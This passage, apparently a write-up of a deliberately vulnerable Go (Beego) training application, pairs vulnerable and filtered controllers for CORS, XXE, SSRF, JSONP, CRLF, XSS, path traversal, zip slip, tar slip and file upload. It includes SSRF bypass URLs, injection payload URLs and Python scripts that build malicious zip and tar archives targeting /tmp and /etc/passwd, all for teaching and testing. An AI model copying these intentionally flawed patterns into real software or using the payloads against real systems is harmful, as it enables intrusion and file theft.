c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE, UPDATE")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Headers", "Origin, X-Requested-With, X-Extra-Header, Content-Type, Accept, Authorization")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Cache-Control, Content-Language, Content-Type")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Credentials", "true")
jsonp := make(map[string]interface{})
jsonp["username"] = "admin"
jsonp["password"] = "admin@123"
data, err := json.Marshal(jsonp)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(data)
}

func (c *CorsSafe1Controller) Get() {
origin := c.Ctx.Request.Header.Get("origin")
whitelists := []string{"localhost:233", "example.com"}
corsFilter := utils.CorsFilter{}
if origin != "" && corsFilter.DoFilter(origin, whitelists) {
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Origin", origin)
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE, UPDATE")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Headers", "Origin, X-Requested-With, X-Extra-Header, Content-Type, Accept, Authorization")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Cache-Control, Content-Language, Content-Type")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Credentials", "true")
}
jsonp := make(map[string]interface{})
jsonp["username"] = "admin"
jsonp["password"] = "admin@123"
data, err := json.Marshal(jsonp)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(data)
}

xxe

go不引入外部实体,所以原生的是没有外部实体注入的,下面库实现了外部实体

github.com/lestrrat-go/libxml2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func (c *XXEVuln1Controller) Get() {
file, err := ioutil.ReadFile("static/xml/xxe.xml")
if err != nil {
panic(err)
}
c.Data["xxe"] = string(file)
c.TplName = "xxe.tpl"
}

func (c *XXEVuln1Controller) Post() {
file := c.GetString("file")
p := parser.New(parser.XMLParseNoEnt)
doc, err := p.ParseReader(bytes.NewReader([]byte(file)))
if err != nil {
panic(err)
}
defer doc.Free()
root, err := doc.DocumentElement()
xxe := root.TextContent()
c.Data["xxe"] = xxe
c.TplName = "xxe.tpl"
}

ssrf

“net/http”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// http://127.0.0.1:233/ssrf/vuln?url=http://www.baidu.com
func (c *SSRFVuln1Controller) Get() {
url := c.GetString("url", "http://www.example.com")
res, err := http.Get(url)
if err != nil {
panic(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(body)
}

// bypass can be :
// http://LOCALHOST:233
// http://localhost.:233
// http://0:233
// and others
// http://127.0.0.1:233/ssrf/vuln/obfuscation?url=http://baidu.com
// http://127.0.0.1:233/ssrf/vuln/obfuscation?url=http://localhost.:233
func (c *SSRFVuln2Controller) Get() {
url := c.GetString("url", "http://www.example.com")
ssrfFilter := utils.SSRFFilter{}
blacklists := []string{"localhost", "127.0.0.1"}
evil := ssrfFilter.DoBlackFilter(url, blacklists)
if evil == true {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
} else {
res, err := http.Get(url)
if err != nil {
panic(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(body)
}
}

func (c *SSRFVuln3Controller) Get() {
url := c.GetString("url", "http://www.example.com")
ssrfFilter := utils.SSRFFilter{}
evil := ssrfFilter.DoGogsFilter(url)
if evil == true {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
} else {
res, err := http.Get(url)
if err != nil {
panic(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(body)
}
}

func (c *SSRFSafe1Controller) Get() {
url := c.GetString("url", "http://www.example.com")
ssrfFilter := utils.SSRFFilter{}
whitelists := []string{"example.com"}
evil := ssrfFilter.DoWhiteFilter(url, whitelists)
if evil == true {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
} else {
res, err := http.Get(url)
if err != nil {
panic(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(body)
}
}

websocket

1
2
3
4
5
//go:generate depstubber -vendor github.com/gobwas/ws Dialer Dial
//go:generate depstubber -vendor github.com/gorilla/websocket Dialer
//go:generate depstubber -vendor github.com/sacOO7/gowebsocket "" New,BuildProxy
//go:generate depstubber -vendor golang.org/x/net/websocket "" Dial,NewConfig,DialConfig
//go:generate depstubber -vendor nhooyr.io/websocket "" Dial

golang.org/x/net/websocket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// http://127.0.0.1:233/ssti/vuln/websocket?url=ws://localhost:233
// http://127.0.0.1:233/ssti/vuln/websocket?url=ws://localhost:243
func (c *SSRFSafeXWebsocketController) Get() {
wsurl := c.GetString("url", "ws://localhost:243")
//untrustedInput := "ws://localhost:243"
origin := "http://localhost/"
// bad as input is directly passed to dial function
rightwsurl := strings.TrimRight(wsurl, "\n\r")
if rightwsurl == "ws://localhost:243/ws" {
ws, err := websocket.Dial(wsurl, "", origin)
if err != nil {
errorMsg := fmt.Sprintf("Error connecting to WebSocket: %v\n", err)
c.Ctx.ResponseWriter.Write([]byte(errorMsg))
return
}
var msg = make([]byte, 512)
var n int
n, _ = ws.Read(msg)
fmt.Printf("Received: %s.\n", msg[:n])
c.Ctx.ResponseWriter.Write(msg[:n])
}
}

github.com/gorilla/websocket

1
2
3
4
5
6
7
8
9
10
11
12
func (c *SSRFVulngorillaWebsocketController) Get() {
untrustedInput := c.GetString("url", "ws://localhost:243")
//untrustedInput := "ws://localhost:233"
//origin := "http://localhost/"
dialer := gorilla_websocket.Dialer{}
conn, _, err := dialer.Dial(untrustedInput, nil)
if err != nil {
fmt.Println("Error connecting to WebSocket:", err)
return
}
defer conn.Close()
}

nhooyr.io/websocket

1
2
3
4
5
6
7
8
9
10
11
12
13
func (c *SSRFVulnnhooyrWebsocketController) Get() {
untrustedInput := c.GetString("url", "ws://localhost:243")
//untrustedInput := "ws://localhost:233"
//origin := "http://localhost/"
conn, _, err := nhooyr_websocket.Dial(context.Background(), untrustedInput, nil)
if err != nil {
errorMsg := fmt.Sprintf("Error connecting to WebSocket:", err)
c.Ctx.ResponseWriter.Write([]byte(errorMsg))
return
}
conn.Close(nhooyr_websocket.StatusNormalClosure, "Closing connection")

}

github.com/gobwas/ws

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"context"
"fmt"
gobwas_websocket "github.com/gobwas/ws"
)

func main() {
untrustedInput := "ws://localhost:233"
_, _, _, err := gobwas_websocket.Dial(context.TODO(), untrustedInput)
if err != nil {
fmt.Println("Error connecting to WebSocket:", err)
return
}

}

github.com/sacOO7/gowebsocket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"fmt"
"github.com/sacOO7/gowebsocket"
)

func main() {
// 创建一个 WebSocket 连接
socket := gowebsocket.New("ws://localhost:233")
// 设置接收消息时的处理函数
socket.OnTextMessage = func(message string, socket gowebsocket.Socket) {
fmt.Println("Received message:", message)
}

// 设置连接关闭时的处理函数
socket.OnConnected = func(socket gowebsocket.Socket) {
fmt.Println("Connected to WebSocket!")
}

// 设置连接失败时的处理函数
socket.OnConnectError = func(err error, socket gowebsocket.Socket) {
fmt.Println("Failed to connect to WebSocket:", err)
}

// 设置连接断开时的处理函数
socket.OnDisconnected = func(err error, socket gowebsocket.Socket) {
if err != nil {
fmt.Println("Disconnected from WebSocket:", err)
} else {
fmt.Println("Disconnected from WebSocket")
}
}

// 连接到 WebSocket 服务器
socket.Connect()

// 等待程序退出
select {}
}

防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package utils

import (
"net/url"
"regexp"
"strings"
)

type CommandInjectFilter struct {
}

type CorsFilter struct {
}

type FileUploadFilter struct {
}

type JsonpFilter struct {
}

type PathTraversalFilter struct {
}

type SSRFFilter struct {
}

type XSSFilter struct {
}

func (c *CommandInjectFilter) DoFilter(input string) bool {
r, _ := regexp.Compile(`^[a-zA-Z0-9_/\.-]+$`)
return r.MatchString(input)
}

func (c *CorsFilter) DoFilter(input string, whitelists []string) bool {
for _, v := range whitelists {
if strings.HasSuffix(input, "."+v) || input == v {
return true
}
}
return false
}

func (c *FileUploadFilter) DoFilter(input string) bool {
r, _ := regexp.Compile(`\.\./`)
return r.MatchString(input)
}

func (c *JsonpFilter) DoFilter(input string, whitelists []string) bool {
u, err := url.Parse(input)
if err != nil {
panic(err)
}
for _, v := range whitelists {
if strings.HasSuffix(u.Host, "."+v) || input == v {
return true
}
}
return false
}

func (c *PathTraversalFilter) DoFilter(input string) bool {
r, _ := regexp.Compile(`\.\.`)
return r.MatchString(input) || strings.HasPrefix(input, "/")
}

func (c *SSRFFilter) DoBlackFilter(input string, blacklists []string) bool {
u, err := url.Parse(input)
if err != nil {
panic(err)
}
for _, v := range blacklists {
if strings.HasSuffix(u.Hostname(), v) {
return true
}
}
return false
}

func (c *SSRFFilter) DoWhiteFilter(input string, whitelists []string) bool {
u, err := url.Parse(input)
if err != nil {
panic(err)
}
//exclude evil-example.com
if strings.HasPrefix(u.Hostname(), ".") {
for _, v := range whitelists {
if strings.HasSuffix(u.Hostname(), v) {
return false
}
}
} else {
for _, v := range whitelists {
if u.Hostname() == v {
return false
}
}
}
return true
}

// this filter comes from fix of cve-2022-0870 gogs SSRF
func (c *SSRFFilter) DoGogsFilter(input string) bool {
return IsLocalHostname(input, nil)
}

func (c *XSSFilter) DoFilter(input string) string {
mid := strings.ReplaceAll(input, "&", "&amp;")
mid = strings.ReplaceAll(mid, "<", "&lt;")
mid = strings.ReplaceAll(mid, ">", "&gt;")
mid = strings.ReplaceAll(mid, "\"", "&quot;")
mid = strings.ReplaceAll(mid, "'", "&#x27")
output := strings.ReplaceAll(mid, "/", "&#x2F")
return output
}

jsonp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//http://127.0.0.1:233/jsonp/vuln/noCheck?callback=%3Cscript%3Ealert()%3C/script%3E
// c.Ctx.ResponseWriter.Header().Set("Content-Type", "text/html")
func (c *JsonpVuln1Controller) Get() {
callback := c.GetString("callback")
c.Ctx.ResponseWriter.Header().Set("Content-Type", "application/javascript")
jsonp := make(map[string]interface{})
jsonp["username"] = "admin"
jsonp["password"] = "admin@123"
data, err := json.Marshal(jsonp)
output := callback + "(" + string(data) + ")"
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write([]byte(output))
}

func (c *JsonpVuln2Controller) Get() {
callback := c.GetString("callback")
referer := c.Ctx.Request.Header.Get("referer")
jsonpFilter := utils.JsonpFilter{}
whitelists := []string{"localhost:233", "example.com"}
if referer == "" || jsonpFilter.DoFilter(referer, whitelists) {
c.Ctx.ResponseWriter.Header().Set("Content-Type", "application/javascript")
jsonp := make(map[string]interface{})
jsonp["username"] = "admin"
jsonp["password"] = "admin@123"
data, err := json.Marshal(jsonp)
output := callback + "(" + string(data) + ")"
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write([]byte(output))
} else {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
}
}

func (c *JsonpSafe1Controller) Get() {
callback := c.GetString("callback")
referer := c.Ctx.Request.Header.Get("referer")
jsonpFilter := utils.JsonpFilter{}
whitelists := []string{"localhost:233", "example.com"}
if referer != "" && jsonpFilter.DoFilter(referer, whitelists) {
c.Ctx.ResponseWriter.Header().Set("Content-Type", "application/javascript")
jsonp := make(map[string]interface{})
jsonp["username"] = "admin"
jsonp["password"] = "admin@123"
data, err := json.Marshal(jsonp)
output := callback + "(" + string(data) + ")"
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write([]byte(output))
} else {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
}
}

CRLF

1
2
3
4
5
6
// http://127.0.0.1:233/crlfInjection/safe?header=%0aSet-cookie:JSPSESSID%3Dwooyun
func (c *CRLFSafe1Controller) Get() {
header := c.GetString("header")
c.Ctx.ResponseWriter.Header().Set("header", header)
c.Ctx.ResponseWriter.Write([]byte(""))
}

XSS

(“Content-Type”, “text/html”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
func (c *XSSVuln1Controller) Get() {
xss := c.GetString("xss", "hello")
c.Ctx.ResponseWriter.Header().Set("Content-Type", "text/html")
c.Ctx.ResponseWriter.Write([]byte(xss))
}

func (c *XSSVuln2Controller) Get() {
xss := c.GetSession("xss")
if xss == nil {
xss = "hello"
}
c.Data["xss"] = template.HTML(xss.(string))
c.TplName = "xss.tpl"
}

func (c *XSSVuln3Controller) Get() {
file, err := ioutil.ReadFile("static/xss/poc.svg")
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(file)
}

func (c *XSSVuln4Controller) Get() {
file, err := ioutil.ReadFile("static/xss/poc.pdf")
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Header().Set("Content-Security-Policy", `default-src 'self';`)
c.Ctx.ResponseWriter.Write(file)
}

func (c *XSSVuln2Controller) Post() {
xss := c.GetString("xss", "hello")
c.SetSession("xss", xss)
c.Data["xss"] = template.HTML(xss)
c.TplName = "xss.tpl"
}

func (c *XSSSafe1Controller) Get() {
xss := c.GetString("xss", "hello")
xssFilter := utils.XSSFilter{}
xss = xssFilter.DoFilter(xss)
c.Ctx.ResponseWriter.Header().Set("Content-Type", "text/html")
c.Ctx.ResponseWriter.Write([]byte(xss))
}

func (c *XSSSafe2Controller) Get() {
file, err := ioutil.ReadFile("static/xss/poc.svg")
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Header().Set("Content-Security-Policy", `default-src 'self';`)
c.Ctx.ResponseWriter.Write(file)
}

目录穿越

文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package controllers

import (
"go-sec-code/utils"
"io/ioutil"
"os"
"path/filepath"
"strings"

beego "github.com/beego/beego/v2/server/web"
)

func (c *PathTraversalVuln1Controller) Get() {
file := c.GetString("file")
output, err := ioutil.ReadFile(file)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}

func (c *PathTraversalVuln2Controller) Get() {
file := c.GetString("file")
file = filepath.Clean(file)
output, err := ioutil.ReadFile(file)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}

func (c *PathTraversalVuln3Controller) Get() {
filePath := c.GetString("file")
filePath = filepath.Clean(filePath)
filePath = filepath.Join("./", filePath)
openFile, err := os.Open(filePath)
if err != nil {
c.Ctx.ResponseWriter.Write([]byte("error"))
}
b := make([]byte, 10000)
_, err = openFile.Read(b)
_, err = c.Ctx.ResponseWriter.Write(b)
}

func (c *PathTraversalSafe1Controller) Get() {
file := c.GetString("file")
pathTraversalFilter := utils.PathTraversalFilter{}
if pathTraversalFilter.DoFilter(file) {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
} else {
output, err := ioutil.ReadFile("static/" + file)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}
}

func (c *PathTraversalSafe2Controller) Get() {
file := c.GetString("file")
file = filepath.Join("static/", file)
if !strings.HasPrefix(file, "static/") {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
} else {
output, err := ioutil.ReadFile(file)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}
}

zipslip

1
2
3
4
5
6
7
8
9
10
import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("/Users/topsry/Desktop/codeql/test/qaq.txt", "../../../../../../../../../tmp/qaq1.txt", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
func (c *ZipSlipVuln1Controller) Post() {
_, h, err := c.GetFile("file")
if err != nil {
panic(err)
}
//timestamp := fmt.Sprint(time.Now().Unix())
savePath := "static/upload/" + h.Filename
c.SaveToFile("file", savePath)
unzipPath := "static/unzip/" + h.Filename
r, err := zip.OpenReader(savePath)
if err != nil {
panic(err)
}
for _, f := range r.File {
fpath := filepath.Join(unzipPath, f.Name)
if f.FileInfo().IsDir() {
// Make Folder
os.MkdirAll(fpath, os.ModePerm)
continue
}

// Make File
if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil {
panic(err)
}

outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
if err != nil {
panic(err)
}

rc, err := f.Open()
if err != nil {
panic(err)
}

_, err = io.Copy(outFile, rc)

// Close the file without defer to close before next iteration of loop
outFile.Close()
rc.Close()

if err != nil {
panic(err)
}
}
c.Data["savePath"] = unzipPath
c.TplName = "fileUpload.tpl"
}

tarslip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import tarfile
import os

if __name__ == "__main__":
try:
# Create a tar archive file
with tarfile.open("malicious.tar", "w") as tar:
# Add the symlink file to the tar archive
malicious_file = "/tmp/evil_symlink"
target_file = "/etc/passwd" # Target file for the symlink
os.symlink(target_file, malicious_file) # Create the symlink
tar.add(malicious_file, arcname="malicious_link")

# Add other harmless files to the archive
harmless_file1 = "/path/to/harmless_file1.txt"
harmless_file2 = "/path/to/harmless_file2.txt"
tar.add(harmless_file1, arcname="harmless_file1.txt")
tar.add(harmless_file2, arcname="harmless_file2.txt")
except Exception as e:
raise e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func (c *TarSlipVuln1Controller) Post() {
_, h, err := c.GetFile("file")
if err != nil {
panic(err)
}
savePath := "static/upload/" + h.Filename
c.SaveToFile("file", savePath)
untarPath := "static/untar/" + h.Filename
err = DeCompressTar(savePath, "static/untar/")
if err != nil {
panic(err)
}
//c.Data["savePath"] = untarPath
//c.TplName = "fileUpload.tpl"
//file, err := os.Open(savePath)
//defer file.Close()
//tarReader := tar.NewReader(file)
//header, _ := tarReader.Next()
//os.MkdirAll(path.Dir(header.Name), 0755) // NOT OK
c.Data["savePath"] = untarPath
c.TplName = "fileUpload.tpl"
}

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package controllers

import (
"fmt"
"go-sec-code/utils"
"time"

beego "github.com/beego/beego/v2/server/web"
)

type FileUploadVuln1Controller struct {
beego.Controller
}

type FileUploadSafe1Controller struct {
beego.Controller
}

func (c *FileUploadVuln1Controller) Get() {
c.TplName = "fileUpload.tpl"
}

func (c *FileUploadVuln1Controller) Post() {
userid := c.GetString("userid")
_, h, err := c.GetFile("file")
if err != nil {
panic(err)
}
savePath := "static/upload/" + userid + fmt.Sprint(time.Now().Unix()) + h.Filename
c.SaveToFile("file", savePath)
c.Data["savePath"] = savePath
c.TplName = "fileUpload.tpl"
}

func (c *FileUploadSafe1Controller) Get() {
c.TplName = "fileUpload.tpl"
}

func (c *FileUploadSafe1Controller) Post() {
userid := c.GetString("userid")
fileUploadFilter := utils.FileUploadFilter{}
evil := fileUploadFilter.DoFilter(userid)
if evil == true {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
return
}
_, h, err := c.GetFile("file")
if err != nil {
panic(err)
}
savePath := "static/upload/" + userid + fmt.Sprint(time.Now().Unix()) + h.Filename
c.SaveToFile("file", savePath)
c.Data["savePath"] = savePath
c.TplName = "fileUpload.tpl"
}